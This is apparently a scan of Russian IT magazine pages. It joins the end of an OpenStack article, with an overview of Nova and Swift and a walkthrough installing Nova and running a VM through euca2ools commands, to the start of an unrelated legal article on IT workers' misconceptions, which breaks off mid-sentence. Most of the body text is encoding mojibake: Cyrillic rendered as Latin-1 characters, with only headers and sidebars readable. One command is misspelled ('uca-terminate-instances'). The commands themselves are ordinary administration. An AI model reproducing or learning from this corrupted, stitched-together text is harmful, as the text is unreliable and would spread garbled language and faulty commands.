ñîçäàíèå ÂÌ. Ïîñëå òîãî, êàê íîâàÿ ÂÌ áóäåò çàïóùåíà, 
êîíòðîëëåð îáëàêà çàâåðøàåò ñâîþ ðàáîòó è ñîîáùàåò 
ñåðâåðó API îá óñïåõå âñåé îïåðàöèè. Òåïåðü ïîëüçî-
âàòåëü ìîæåò ïîäêëþ÷èòüñÿ ê ÂÌ, à âñþ äåÿòåëüíîñòü 
ïî ïîääåðæàíèþ åå â ðàáîòîñïîñîáíîì ñîñòîÿíèè, 
âûäåëåíèè äèñêîâîãî ïðîñòðàíñòâà, ìàðøðóòèçàöèè 
ñåòåâûõ ïàêåòîâ è ïðî÷óþ ÷åðíóþ ðàáîòó áåðåò íà ñåáÿ 
ñèñòåìà.
Ñòîèò çàìåòèòü, ÷òî îáëà÷íàÿ èíôðàñòðóêòóðà íà îñíî-
âå OpenStack ïîëó÷àåòñÿ î÷åíü ãèáêîé è óïðàâëÿåìîé. 
Êîìïîíåíòû ñèñòåìû ïîëíîñòüþ îáîñîáëåíû äðóã îò 
äðóãà è îáùàþòñÿ òîëüêî ñ ïîìîùüþ îòïðàâêè àñèíõ-
ðîííûõ ñîîáùåíèé èëè ïðîòîêîëà HTTP. Óæå íàñòðî-
åííàÿ è ðàáîòàþùàÿ ñèñòåìà ëåãêî âûäåðæèò ëþáûå 
èçìåíåíèÿ â ñâîåì äèçàéíå è íå ïîòðåáóåò ìíîãî âðåìå-
íè íà ïåðåêîíôèãóðèðîâàíèå. Êðîìå òîãî, OpenStack íå 
çàìêíóò ñàì â ñåáå è âåçäå, ãäå ýòî âîçìîæíî, èñïîëü-
çóåò ñòîðîííèå ïðîäóêòû. Äëÿ åãî óïðàâëåíèÿ ìîæíî 
èñïîëüçîâàòü ñòàíäàðòíûå êëèåíòû ñåðâèñà Amazon 
EC2, à äëÿ çàïóñêà âèðòóàëüíûõ ìàøèí ïðèìåíÿòü íà-
èáîëåå óäîáíûå â äàííîì êîíêðåòíîì ñëó÷àå ñèñòåìû 
âèðòóàëèçàöèè (íà ñåãîäíÿ ïîääåðæèâàþòñÿ KVM, UML, 
XEN, HyperV è qemu).

Swift — безграничное 
хранилище
Swift (OpenStack Object Storage) — ýòî ïîëíîñòüþ ðàñ-
ïðåäåëåííîå, îòêàçîóñòîé÷èâîå âûñîêîíàäåæíîå õðàíè-
ëèùå äàííûõ, ñîçäàííîå ïî îáðàçó è ïîäîáèþ Amazon S3. 
Swift ïî÷òè ïîëíîñòüþ îñíîâàí íà íàðàáîòêàõ êîìïàíèè 
Rackspace.
Ñèñòåìà ñîñòîèò èç ÷åòûðåõ îñíîâíûõ êîìïîíåíòîâ:
• ïðîêñè-ñåðâåð (Proxy Server), îáúåäèíÿþùèé âñå 
îñòàëüíûå êîìïîíåíòû ñèñòåìû âìåñòå;
• îáúåêòíûé ñåðâåð (Object Server), îòâåòñòâåííûé çà 
õðàíåíèå äàííûõ;
• êîíòåéíåðíûé ñåðâåð (Container Server), îòâåòñòâåí-
íûé çà îòäà÷ó ñïèñêà îáúåêòîâ;
• ñåðâåð àêêàóíòèíãà (Account Server), îòäàþùèé ëèñ-
òèíãè êîíòåéíåðîâ äëÿ êîíêðåòíîãî àêêàóíòà.
Òèïè÷íàÿ Swift-èíôðàñòðóêòóðà ïðåäñòàâëÿåò ñîáîé 
êëàñòåð, îäíà èç ìàøèí êîòîðîãî âûïîëíÿåò ôóíêöèè 
ïðîêñè-ñåðâåðà, íåñêîëüêî ìàøèí ðàáîòàþò â êà÷åñòâå 
êîíòåéíåðíûõ ñåðâåðîâ è ñåðâåðîâ àêêàóíòèíãà, à âñå 
îñòàëüíûå (ñîòíè è òûñÿ÷è ìàøèí) ïðåäñòàâëÿþò ñîáîé 
êîíòåéíåðíûå ñåðâåðû.

OpenStack подде-
рживает гибкие 
дисковые квоты, 
пользовательские 
роли и различные ог-
раничения прав, так 
что его вполне можно 
использовать для 
создания публичных 
облачных сервисов.

info

INFO

Типы облачных сервисов
SaaS — Software as a Service (программное обеспечение 
в качестве сервиса). Предоставляет потребителю 
возможность использовать ПО, работающее в облаке. 
Ярчайший пример: gmail.
PaaS — Platform as a Service (платформа в качест-
ве сервиса). Позволяет потребителю развертывать 
собственные приложения на подготовленной для этого 
платформе. В качестве примера можно привести среду 
Java, работающую удаленно.
IaaS — Infrastructure as a Service (инфраструктура в 
качестве сервиса). Дает потребителю целую инфраструк-
туру, позволяющую запускать виртуальные машины, 
налаживать межу ними связь и использовать дисковое 
пространство.



Ïðîêñè-ñåðâåð ïîääåðæèâàåò âíåøíèé ReST-ful API, ðåàëèçîâàí-
íûé â ðàìêàõ ïðîòîêîëà HTTP. Ïîýòîìó çàïðîñ äîñòóïà ê îáúåêòàì 
âíóòðè õðàíèëèùà âûãëÿäèò î÷åíü íàãëÿäíî è ïðîñòî:

GET http://swift.host.com/v1/account/container/object

Çäåñü account — ýòî ïîëüçîâàòåëüñêèé àêêàóíò, container — ïðî-
ñòðàíñòâî èìåí, èñïîëüçóåìîå äëÿ êëàññèôèêàöèè äàííûõ, à object 
— íåïîñðåäñòâåííî äàííûå (èëè, äðóãèìè ñëîâàìè, ôàéë).
Ïðîêñè-ñåðâåð èñïîëüçóåò òàê íàçûâàåìûå êîëüöà (rings) äëÿ ïî-
èñêà ðåàëüíîãî ïîëîæåíèÿ äàííûõ â êëàñòåðå. Ýòî ñâîåãî ðîäà áàçà 
äàííûõ, îïèñûâàþùàÿ òî, ãäå íà ñàìîì äåëå ðàñïîëîæåíû äàííûå. 
Îíà ìîäèôèöèðóåòñÿ ïðè êàæäîé çàïèñè íîâûõ äàííûõ â õðàíèëè-
ùå, èõ óäàëåíèÿ èëè âûõîäå óçëîâ èç ñòðîÿ. Äëÿ àêêàóíòîâ, êîíòåé-
íåðîâ è îáúåêòîâ ïðåäóñìîòðåíû îòäåëüíûå êîëüöà. 
Îáúåêòíûå ñåðâåðû — íàèáîëåå âàæíûé êîìïîíåíò Swift-êëàñ-
òåðà. Îíè îòâå÷àþò çà õðàíåíèå è îòäà÷ó äàííûõ. Ëþáûå îáúåêòû 
õðàíèëèùà â êîíå÷íîì ñ÷åòå îñåäàþò íà æåñòêèõ äèñêàõ ýòèõ ñåðâå-
ðîâ, êîòîðûå çàïèñûâàþò äàííûå â îáû÷íûå ôàéëû, ñîïðîâîæäàÿ 
èõ ìåòàäàííûìè, çàïèñûâàåìûìè â ðàñøèðåííûå àòðèáóòû ôàéëîâ 
(xattr).Íàäåæíîñòü õðàíåíèÿ äàííûõ äîñòèãàåòñÿ çà ñ÷åò äóáëèðî-
âàíèÿ ñðàçó íà íåñêîëüêî ñåðâåðîâ, òàê ÷òî åñëè îäèí èç íèõ âûéäåò 
èç ñòðîÿ, ñèñòåìà ñìîæåò âîññòàíîâèòü äàííûå ñ äðóãîãî ñåðâåðà è 
âíîâü ïðîäóáëèðîâàòü èõ. Ïî óìîë÷àíèþ ñèñòåìà ñîçäàåò òðè êîïèè 
êàæäîãî îáúåêòà, òàê ÷òî â êà÷åñòâå æåëåçíîé ñîñòàâëÿþùåé êëàñòå-
ðà ìîæíî èñïîëüçîâàòü äàæå ñàìûå äåøåâûå ìàøèíû, íå ñíàá-
æåííûå RAID-êîíòðîëëåðàìè. Îäèí èç îñíîâíûõ ïëþñîâ ñèñòåìû 
ñîñòîèò â åå ïðîçðà÷íîé ìàñøòàáèðóåìîñòè. Ðàñøèðèòü õðàíèëèùå 
ìîæíî, ïðîñòî ïîäêëþ÷èâ íîâûé óçåë ê êëàñòåðó, à âñþ îñòàëüíóþ 
ðàáîòó ïî åãî ñèíõðîíèçàöèè ñ õðàíèëèùåì âîçüìåò íà ñåáÿ Swift.
Ëó÷øå âñåãî ýòîò êëàñòåð ïîäõîäèò äëÿ õðàíåíèÿ òàêèõ äàííûõ, 
êàê îáðàçû âèðòóàëüíûõ ìàøèí (ñîáñòâåííî, äëÿ ýòîãî îí è áûë 
ñîçäàí), áàíêè ôîòîãðàôèé, ýëåêòðîííûå ïèñüìà, áýêàïû è òîìó 
ïîäîáíîå.

Пробуем
OpenStack — ñëîæíàÿ ñèñòåìà, äëÿ îïèñàíèÿ óñòàíîâêè è èñïîëü-
çîâàíèÿ êîòîðîé ïîòðåáîâàëàñü áû íå îäíà ñòàòüÿ, ïîýòîìó ìû íå 
áóäåì óãëóáëÿòüñÿ â äåòàëè, à ïðîñòî ïîñìîòðèì, íàñêîëüêî áûñòðî 
ìîæíî ðàçâåðíóòü îáëà÷íûé ñåðâèñ íà ëîêàëüíîé ìàøèíå.
Ñ ïîìîùüþ Nova ýòî äîâîëüíî ïðîñòî ñäåëàòü, è íàì äàæå íå ïîíàäî-
áèòñÿ ïîìîùü Swift, ìû ïðîñòî óñòàíîâèì âñå êîìïîíåíòû ñèñòåìû 
íà îäíó ìàøèíó è ïîñìîòðèì, êàê îíè ôóíêöèîíèðóþò âìåñòå. Â 
äàëüíåéøåì èíôðàñòðóêòóðó ìîæíî áóäåò ðàñøèðèòü äî íåñêîëü-
êèõ ìàøèí, äîáàâèâ ê íåé ðàñïðåäåëåííîå õðàíèëèùå äàííûõ, íî 
ýòî òåìà äëÿ îòäåëüíîé ñòàòüè.
Íåñìîòðÿ íà ñâîþ ìîëîäîñòü, Nova è Swift óæå óñïåëè ïîïàñòü â 
îôèöèàëüíûå ðåïîçèòîðèè íåêîòîðûõ äèñòðèáóòèâîâ, ïîýòîìó äëÿ 
óñòàíîâêè íóæíûõ íàì êîìïîíåíòîâ ìîæíî èñïîëüçîâàòü ñòàíäàðò-
íûé ìåíåäæåð ïàêåòîâ:

$ sudo apt-get install rabbitmq-server \

redis-server

$ sudo apt-get install nova-api \

 nova-objectstore nova-compute \

 nova-scheduler nova-network \

 euca2ools unzip

Ôàêòè÷åñêè óæå ïîñëå óñòàíîâêè ñèñòåìà ïîëíîñòüþ ãîòîâà ê ðàáî-
òå, îñòàåòñÿ òîëüêî çàâåñòè ó÷åòíóþ çàïèñü ñóïåðïîëüçîâàòåëÿ:

$ sudo nova-manage user admin vasya

È ñîçäàòü íîâûé ïðîåêò, â ðàìêàõ êîòîðîãî ìû áóäåì ïðîèçâîäèòü 
âñå äàëüíåéøèå ýêñïåðèìåíòû:

$ sudo nova-manage project create \

 experiments vasya

Äàëåå ïðîñèì ñèñòåìó çàïàêîâàòü äàííûå, íåîáõîäèìûå äëÿ äîñòó-
ïà ê ïðîåêòó, â zip-àðõèâ:

$ sudo nova-manage project zipfile \

 experiments vasya

Òåïåðü ýòè äàííûå ìîæíî èñïîëüçîâàòü, ÷òîáû óïðàâëÿòü ðàáîòîé 
îáëàêà ñ ïîìîùüþ EC2-ñîâìåñòèìûõ èíñòðóìåíòîâ. Äëÿ ýòîãî ðàñ-
ïàêóåì àðõèâ è âûïîëíèì êîìàíäû, ïðîïèñàííûå â ôàéëå novarc:
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$ unzip nova.zip

$ . novarc

×òîáû ïðîòåñòèðîâàòü ðàáîòó ñåðâèñà, íàì ïîíàäîáèòñÿ EC2-îáðàç 
âèðòóàëüíîé ìàøèíû. 
Ìèíèìàëüíûé Linux-îáðàç ìîæíî ïîëó÷èòü íà ñàéòå Rackspace:

$ wget http://c2477062.cdn.cloudfiles.rackspacecloud.

com/images.tgz

Ðàñïàêîâûâàåì:

$ tar -xzf images.tgz

Îáðàç íåîáõîäèìî çàðåãèñòðèðîâàòü â îáëàêå, ïîýòîìó äåëàåì 
ñëåäóþùåå:

1. Ñîçäàåì ìàíèôåñòû äëÿ ÿäðà è ðàìäèñêà:

$ euca-bundle-image -i images/aki-lucid/image \

 -p kernel --kernel true

$ euca-bundle-image -i images/ari-lucid/image \

 -p ramdisk --ramdisk true

2. Çàëèâàåì ÿäðî è ðàìäèñê â îáëàêî:

$ euca-upload-bundle -m /tmp/kernel.manifest.xml -b 

mybucket

$ euca-upload-bundle -m /tmp/ramdisk.manifest.xml -b 

mybucket

3. Ðåãèñòðèðóåì ÿäðî è ðàìäèñê:

$ euca-register mybucket/kernel.manifest.xml

$ euca-register mybucket/ramdisk.manifest.xml

Ýòè êîìàíäû äîëæíû âûäàòü íà ýêðàí èäåíòèôèêàòîðû ÿäðà è ðàìäèñ-
êà âíóòðè îáëàêà. Èõ íóæíî çàïîìíèòü èëè ñêîïèðîâàòü.
4. Ïîäãîòàâëèâàåì îáðàç ìàøèíû, èñïîëüçóÿ çàðåãèñòðèðîâàííûå â 
ïðîøëîì øàãå ÿäðî è ðàìäèñê:

$ euca-bundle-image -i images/ami-tiny/image -p machine \

 --kernel ID-ÿäðà --ramdisk ID-äèñêà

5. Çàãðóæàåì îáðàç ìàøèíû â îáëàêî:

$ euca-upload-bundle -m /tmp/machine.manifest.xml -b 

mybucket

6. Ðåãèñòðèðóåì îáðàç ìàøèíû è çàïîìèíàåì åå èäåíòèôèêàòîð:

$ euca-register mybucket/machine.manifest.xml

Òåïåðü ìîæíî çàïóñòèòü âèðòóàëüíóþ ìàøèíó íà èñïîëíåíèå, íî ñíà-
÷àëà ìû äîëæíû ïîëó÷èòü SSH-êëþ÷ äëÿ äîñòóïà ê íàøèì ìàøèíàì:

$ euca-add-keypair mykey > mykey.priv

$ chmod 600 mykey.priv

Çàïóñêàåì âèðòóàëüíóþ ìàøèíó:

$ euca-run-instances ID-ìàøèíû --kernel ID-ÿäðà \

 --ramdisk ID-ðàìäèñêà -k mykey

Ñìîòðèì ñîñòîÿíèå ìàøèíû:

$ euca-describe-instances

Ïðîâåðÿåì, áûëà ëè îíà êîððåêòíî çàïóùåíà:

$ virsh list

Ïîäêëþ÷àåìñÿ ê ìàøèíå ïî SSH:

$ euca-authorize -P tcp -p 22 default

$ ssh -i mykey.priv root@10.0.0.3

Óáèâàåì ìàøèíó:

$ uca-terminate-instances ID-ìàøèíû

Заключение
Îïèñàííîå â ñòàòüå — òîëüêî âåðøèíà àéñáåðãà ïîä íàçâàíèåì 
OpenStack. ×òîáû îïèñàòü ñèñòåìó ïîëíîñòüþ, ïîíàäîáèëàñü áû öåëàÿ 
êíèãà è îãðîìíîå êîëè÷åñòâî ñâîáîäíîãî âðåìåíè. Íî ÿ íàäåþñü, ÷òî 
è ýòà íåáîëüøàÿ ïîðöèÿ èíôîðìàöèè ïîìîæåò òåáå íà÷àòü îñâîå-
íèå ýòîãî, áåç ñîìíåíèÿ, ãðàíäèîçíîãî ïðîäóêòà, êîòîðûé â ñêîðîì 
âðåìåíè âïîëíå ìîæåò ñòàòü ñòàíäàðòîì â ñðåäå îòêðûòûõ îáëà÷íûõ 
ñåðâèñîâ. z

Добавляем нового 
пользователя 
и создаем проект

Загружаем ядро 
и рамдиск в облако
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Есть знания, а есть верования. А еще есть глупость — это когда не отличают первое от второго. 
Знать, что именно ты не знаешь — это Конфуций и называл «правильным отношением» («Лунь 
Юй», 2, 17). Его главный мировоззренческий оппонент Лао Цзы говорил практически то же самое: 
«Кто болеет, зная о своей болезни, тот не болен» («Даодэцзин», 1, 71).

Ìèôû 
è ëåãåíäû
ñîâðåìåííûõ 
àéòèøíèêîâ

Ê ñîæàëåíèþ, íàø áðàò êîìïüþòåðùèê ðåäêî ïîñòèãàåò ýòó ìóäðîñòü 
è îòíîñèòñÿ ê ãóìàíèòàðíûì îáëàñòÿì íåìíîãî ñâûñîêà. È ñàìîóâå-
ðåííî ñóåòñÿ íà ÷óæîå ïîëå è â ÷óæèå ïðàâèëà. À ïîòîì óäèâëÿåòñÿ, 
÷òî òàì åãî îáûãðûâàþò.
Âîò íåñêîëüêî òèïè÷íûõ çàáëóæäåíèé àéòèøíèêîâ, îòíîñÿùèõñÿ ê 
ïðàâîâîé ñôåðå. Ïîäñ÷èòàé, â êàêîé ïðîöåíò èç íèõ òû âåðèøü.
• Ïðîãðàììû áûâàþò êîíòðàôàêòíûìè;
•  ïðàâèëüíî ñîñòàâëåííûé äîêóìåíò ìîæåò èçáàâèòü ñèñàäìèíà îò 
îòâåòñòâåííîñòè;
• åñëè âñå çàøèôðîâàòü, òî íå áóäåò äîêàçàòåëüñòâ;
• â ñóäå ìîæíî äîêàçàòü íåâèíîâíîñòü;
•  ïðîãðàììó ìîæíî çàïàòåíòîâàòü;
• íàäïèñè «(c) Copyright» è «All rights reserved» èìåþò ñìûñë;
• ñâîáîäíûå ïðîãðàììû ìîæíî èñïîëüçîâàòü áåç çàêëþ÷åíèÿ ëèöåí-
çèîííîãî äîãîâîðà;
• ìåñòî ñîâåðøåíèÿ êîìïüþòåðíîãî (êèáåð-) ïðåñòóïëåíèÿ íàõîäèò-
ñÿ â ìåñòå ðàñïîëîæåíèÿ ñåðâåðà.
Êîãäà àâòîð çà÷èòàë ýòè óòâåðæäåíèÿ â êîìïàíèè àéòèøíèêîâ, 
òî ïî ìåíüøåé ìåðå íà øåñòü èç âîñüìè óòâåðæäåíèé îí ïîëó÷èë 
íåäîóìåííîå: «Ðàçâå ýòî ìèô? Ýòî æ òàê è åñòü!». À òåïåðü äàâàéòå 
ðàçáåðåì âñå ýòè óòâåðæäåíèÿ ñ òî÷êè çðåíèÿ ñîâðåìåííîãî ïðàâà.

Программы бывают 
контрафактными 
(нелицензионными, пиратскими)
Õîòÿ âûðàæåíèå «êîíòðàôàêòíàÿ/íåëèöåíçèîííàÿ ïðîãðàììà» 
øèðîêî ïðèìåíÿåòñÿ, îíî íå ÿâëÿåòñÿ êîððåêòíûì. Òåðìèí «êîí-
òðàôàêòíûé» âîîáùå íåïðèëîæèì ê îáúåêòó èíòåëëåêòóàëüíîé ñîáñ-
òâåííîñòè. Îí ìîæåò áûòü ïðèìåíåí òîëüêî ê íîñèòåëþ òàêîãî ïðî-
èçâåäåíèÿ. Ñòàòüÿ 1252 ÃÊ äàåò òàêîå îïðåäåëåíèå êîíòðàôàêòíîãî 
íîñèòåëÿ: «ìàòåðèàëüíûé íîñèòåëü, èçãîòîâëåíèå, ðàñïðîñòðàíåíèå 
èëè èíîå èñïîëüçîâàíèå ... êîòîðîãî ïðèâîäÿò ê íàðóøåíèþ èñêëþ-
÷èòåëüíîãî ïðàâà íà ðåçóëüòàò èíòåëëåêòóàëüíîé äåÿòåëüíîñòè». Êàê 
âèäíî èç îïðåäåëåíèÿ, êîíòðàôàêòíîñòü — íå ñâîéñòâî ïðîãðàììû, 
åå êîíêðåòíîãî ýêçåìïëÿðà èëè äàæå íîñèòåëÿ. Êîíòðàôàêòíîñòü 
— ýòî õàðàêòåðèñòèêà ïðàâîîòíîøåíèé, êîòîðûå óñòàíàâëèâàþòñÿ 

âîêðóã äàííîãî íîñèòåëÿ. Ëþäè äîãîâîðèëèñü, çàêëþ÷èëè, ê ïðèìå-
ðó, ëèöåíçèîííûé äîãîâîð — íîñèòåëü â òîò æå ìîìåíò ñòàë íîðìàëü-
íûì (íå êîíòðàôàêòíûì). Èñòåê ñðîê äåéñòâèÿ ëèöåíçèè èëè áûëè 
íàðóøåíû åå óñëîâèÿ — áàö, è òîò æå ñàìûé íîñèòåëü ñ òåì æå ñàìûì 
íè íà áèò íå èçìåíèâøèìñÿ ÏÎ ïðåâðàòèëñÿ â êîíòðàôàêòíûé. 
Ïîíÿòíî, ÷òî, èññëåäîâàâ ïðîãðàììó èëè åå íîñèòåëü, íåâîçìîæíî 
óñòàíîâèòü, â êàêèõ îòíîøåíèÿõ ñîñòîÿò èëè íå ñîñòîÿò ïðàâîîáëà-
äàòåëü ñ ïîëüçîâàòåëåì. Ïîýòîìó «ýêñïåðòèçà íà êîíòðàôàêòíîñòü» 
— ýòî ïóãàëî, ôàðñ èëè äàæå îòêðîâåííîå íàðóøåíèå çàêîíà. Êñòàòè, 
äëÿ ðàçúÿñíåíèÿ ïîñëåäíåãî ôàêòà Âåðõîâíûé Ñóä ÐÔ äàæå âûïóñòèë 
ïîñòàíîâëåíèå ¹ 14 îò 26 àïðåëÿ 2007 ãîäà. Íå ïîìîãëî.
Òî èëè èíîå òåõíè÷åñêîå ñîñòîÿíèå êîïèè ïðîãðàììû èëè íîñèòåëÿ 
íå ìîæåò ñâèäåòåëüñòâîâàòü î þðèäè÷åñêèõ âçàèìîîòíîøåíèÿõ ñ 
ïðàâîîáëàäàòåëåì. Ïîýòîìó è «ïðèçíàêîâ êîíòðàôàêòíîñòè» òîæå íå 
ñóùåñòâóåò: íå ìîãóò ñóùåñòâîâàòü òåõíè÷åñêèå ïðèçíàêè ïðàâîâîãî 
ÿâëåíèÿ; íåëüçÿ èñêàòü ïðèçíàêè êàêîãî-ëèáî ñòàòóñà âäàëè îò òîãî 
ìåñòà, ãäå ýòîò ñòàòóñ óñòàíàâëèâàåòñÿ.

Правильно составленный 
документ может избавить
сисадмина от ответственности
Ê àâòîðó èíîãäà îáðàùàþòñÿ çà êîíñóëüòàöèåé èíñòàëëÿòîðû, ñàé-
òîâëàäåëüöû èëè ñîçäàòåëè ïðîãðàìì. «×åãî áû òàêîãî, — ñïðàøèâà-
þò îíè, — íàïèñàòü â äèñêëåéìåðå, äîãîâîðå èëè ëèöåíçèè, ÷òîáû íå 
îòâå÷àòü çà íàðóøåíèå àâòîðñêèõ ïðàâ, íåïðàâîìåðíûé äîñòóï èëè 
âðåäîíîñíûå ïðîãðàììû?» Àâòîð èì íåóñòàííî îáúÿñíÿåò, ÷òî îò-
âåòñòâåííîñòü îïðåäåëÿåòñÿ òîëüêî çàêîíîì è íè÷åì èíûì. Äîãîâîð 
ìåæäó ñòîðîíàìè èìååò çíà÷åíèå ëèøü â òåõ ñëó÷àÿõ, êîãäà çàêîí 
ïðÿìî íà íåãî óêàçûâàåò. À ýòî — ñëó÷àé ðåäêèé. Òàêèì îáðàçîì, ëþ-
áûå «çàêëèíàíèÿ» — ÷òî ñêàçàííûå, ÷òî íàïèñàííûå, ÷òî «îòëèòûå â 
ãðàíèòå» — íå èìåþò çíà÷åíèÿ äëÿ êâàëèôèêàöèè äåÿíèÿ. Ýòî äàæå 
íå íîðìà. Ýòî — ïðèíöèï. Îí èìåíóåòñÿ ïðèíöèïîì çàêîííîñòè è 
íàðÿäó ñ ïðèíöèïàìè ñïðàâåäëèâîñòè è ïðàâîñóäèÿ ñîñòàâëÿåò áàçèñ 
ñîâðåìåííîãî ïðàâà.
Îáðàòèâøèåñÿ çà êîíñóëüòàöèåé îáû÷íî êèâàþò è… ñïðàøèâàþò: 
«Òàê âñå-òàêè, ÷òî íàïèñàòü â äèñêëåéìåðå?». Â ïðîøëîé ñòàòüå àâòîð 

Âîñåìü ïðàâîâûõ ñêàçîê, â êîòîðûå âñå åùå 
âåðÿò áîëüøèå ìàëü÷èêè
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óæå óïîìèíàë, ÷òî ïðèìåíèòåëüíî ê ñèñàäìèíó, êîòîðûé ïîíàñòàâèë 
â îôèñå ïèðàòñêèõ ïðîãðàìì, ëþáàÿ áóìàæêà î «ïåðåëîæåíèè îò-
âåòñòâåííîñòè» ñûãðàåò ïðîòèâ íåãî. Îòâåòñòâåííîñòü çà íàðóøåíèå 
àâòîðñêèõ ïðàâ íèêóäà íå ïåðåëîæèòñÿ, íî ó îáâèíåíèÿ ïîÿâèòñÿ 
äîêóìåíò, ïîäòâåðæäàþùèé ñãîâîð è çàðàíåå îáäóìàííûå íàìåðå-
íèÿ íàðóøèòü çàêîí.

Если все зашифровать, то не бу-
дет доказательств
Äëÿ íà÷àëà èñòîðèÿ èç ïðàêòèêè. Ïîäîçðåâàåìûé ïî äåëó î íåïðà-
âîìåðíîì äîñòóïå ê êîìïüþòåðíîé èíôîðìàöèè (ñò. 272 ÓÊ ÐÔ) íà 
ïåðâîì äîïðîñå ãîðäî çàÿâèë, ÷òî ó îáâèíåíèÿ íåò è íå ìîæåò áûòü 
íèêàêèõ äîêàçàòåëüñòâ. Âñå åãî íîñèòåëè èíôîðìàöèè, èçúÿòûå 
ïðè îáûñêå, áûëè çàøèôðîâàíû ñòîéêèì àëãîðèòìîì, êîòîðûé 
ïîäîçðåâàåìûé ñ÷èòàë íåâçëàìûâàåìûì. Ïðîâåðèòü ñòîéêîñòü 
øèôðîâàíèÿ â òîò ðàç íå äîâåëîñü, ïîñêîëüêó ëîìàòü çàùèòó íèêòî 
äàæå íå ïûòàëñÿ.
Ñëåäîâàòåëü ïðîñòî äîïðîñèë ñâèäåòåëåé. Óòâåðæäàÿ, ÷òî äîêàçà-
òåëüñòâ íåò, çëîóìûøëåííèê îò÷åãî-òî çàáûë, ÷òî îáî âñåõ ñâîèõ 
«óñïåõàõ» ñàì ðàññêàçûâàë (è äàæå ïîêàçûâàë) ñâîèì äðóçüÿì è 
çíàêîìûì. Êîòîðûå, êîíå÷íî æå, íå ñòàëè èãðàòü â ìàôèþ ñ îáåòîì 
ìîë÷àíèÿ «îìåðòà», à âñå âèäåííîå è ñëûøàííîå îò «õàêåðà» íà 
äîïðîñàõ âûëîæèëè. 
Ñâèäåòåëüñêèå ïîêàçàíèÿ òðàäèöèîííî ÿâëÿþòñÿ ãëàâíûì äîêàçà-
òåëüñòâîì íà ëþáîì ñóäå è öåíÿòñÿ ìíîãî âûøå âñåõ ýòèõ «ñîâðå-
ìåííûõ øòó÷åê»: ýêñïåðòèç, çàêëþ÷åíèé ñïåöèàëèñòà, îñìîòðîâ 
êîìïüþòåðà è òàê äàëåå. Íà îäíèõ ëèøü ïîêàçàíèÿõ ñâèäåòåëåé 
ñóäåáíûå äåëà ðåøàëèñü òûñÿ÷è ëåò. È íûíå ðåøàþòñÿ â äîñòàòî÷-
íîì êîëè÷åñòâå. À çàøèôðîâàííûé «ïî ñàìîå íå õî÷ó» êîìïüþòåð 
îñòàíåòñÿ âå÷íûì ïàìÿòíèêîì áåññìûñëåííîìó òåõíîêðàòè÷åñêîìó 
ïîäõîäó.
Ñîäåðæèìîå æåñòêîãî äèñêà, êîíå÷íî, ìîæåò îêàçàòüñÿ íåïëîõèì 
èñòî÷íèêîì óëèê. Îäíàêî ãëàâíûì îíî íå áûëî è íå áóäåò. Ìåñòà 
«öàðèöû äîêàçàòåëüñòâ», à òàêæå åå ïðèáëèæåííûõ, ïðî÷íî çàíÿ-
òû. Ïðàâîâûå ìåòîäû XXI âåêà ìàëî èçìåíèëèñü ïî ñðàâíåíèþ ñ 
òåõíîëîãèÿìè þñòèöèè, êîòîðûå èçâåñòíû ñî âðåìåí Õàììóðàïè è 
Öèöåðîíà.

В суде можно доказать 
невиновность
Â ðàçíûõ ñòðàíàõ ñëîæèëèñü ðàçëè÷íûå ðàñïðåäåëåíèÿ ðîëåé ìåæäó 
ïðàâîîõðàíèòåëüíûìè îðãàíàìè. Ãäå-òî íà ñóäåáíîì çàñåäàíèè 
ïðîâîäèòñÿ ïîëíîöåííîå ðàññëåäîâàíèå, óñòàíàâëèâàþòñÿ ôàêòû, 
ïîÿâëÿþòñÿ è èññëåäóþòñÿ óëèêè. Ñóä ïðè ýòîì ìîæåò ïðîèñõîäèòü 
äîâîëüíî äðàìàòè÷íî, èçîáèëîâàòü ñþæåòíûìè õîäàìè è íåîæèäàí-
íûìè ñèòóàöèÿìè. Â äðóãèõ ñòðàíàõ âñÿ äåòåêòèâíàÿ ñîñòàâëÿþùàÿ 
ñäâèíóòà íà ýòàï ïðåäâàðèòåëüíîãî ñëåäñòâèÿ, à íà ñóäå íåîæèäàí-
íîñòè èñêëþ÷åíû, ñóä âûïîëíÿåò ðîëü ôèíàëüíîé ôîðìàëüíîñòè. 
Ðîññèÿ îòíîñèòñÿ êî âòîðîé ãðóïïå. Âñå ôàêòû, âñå äîêàçàòåëüñòâà è 
èõ èíòåðïðåòàöèÿ äîëæíû áûòü ãîòîâû äî ñóäà. Ïîëíîìî÷èÿ ñóäüè 
— ðàññìîòðåòü ïðåäñòàâëåííûå äîêàçàòåëüñòâà è âûíåñòè ðåøåíèå, 
êîòîðîå ôàêòè÷åñêè ïðåäîïðåäåëåíî, ïîñêîëüêó íè÷åãî íîâîãî â 
ìàòåðèàëàõ äåëà ïîÿâèòüñÿ íå ìîæåò. Òàê áûëî è âî âðåìåíà ÑÑÑÐ, 
êîãäà ñóäüè áûëè çíà÷èòåëüíî áîëåå íåçàâèñèìû, ÷åì íûíå. Òàê áûëî 
è ïðè öàðå-áàòþøêå. Îäíàêî îñíîâíîé èñòî÷íèê çíàíèé äëÿ ïðî-
ñòîãî íàðîäà — ãîëëèâóäñêèå ôèëüìû — îïèðàþòñÿ íà ñîâñåì èíóþ 
òðàäèöèþ. Â àíãëîñàêñîíñêîé ñèñòåìå ðîëü ñëåäîâàòåëÿ çíà÷èòåëüíî 
ìåíüøå, à èíîãäà îí è âîâñå îòñóòñòâóåò. Ôàêòè÷åñêè ñëåäñòâèå ïðî-
âîäèò ñóäüÿ, îí æå ïðèíèìàåò âñå îñíîâíûå ðåøåíèÿ ïî õîäó äåëà.
Íàñìîòðåâøèñü è íà÷èòàâøèñü çàðóáåæíîé êðèìèíàëüíîé ïðîçû, 
ðóññêèé ÷åëîâåê äåëàåò ñòðàííûå âûâîäû. È, îêàçàâøèñü â ðîëè 
ïîäîçðåâàåìîãî, íà÷èíàåò ñåáÿ ñòðàííî âåñòè. Äà, â ðîññèéñêèõ 
ñóäàõ äîëÿ îïðàâäàòåëüíûõ ïðèãîâîðîâ ñåé÷àñ ñîñòàâëÿåò 0,8% (è òî 
â îñíîâíîì çà ñ÷åò ñóäîâ ïðèñÿæíûõ), â ñîâåòñêèå âðåìåíà îíà áûëà 
íåìíîãèì âûøå. Ïîòîìó ÷òî äåëà ñ íåäîñòàòî÷íûìè èëè íåóáåäè-
òåëüíûìè äîêàçàòåëüñòâàìè â ñóä ïðîñòî íå îòïðàâëÿëèñü. Ñëåäîâà-
òåëü ñàì «îïðàâäûâàåò», åñëè óáåæäàåòñÿ â íåâèíîâíîñòè èëè åñëè 
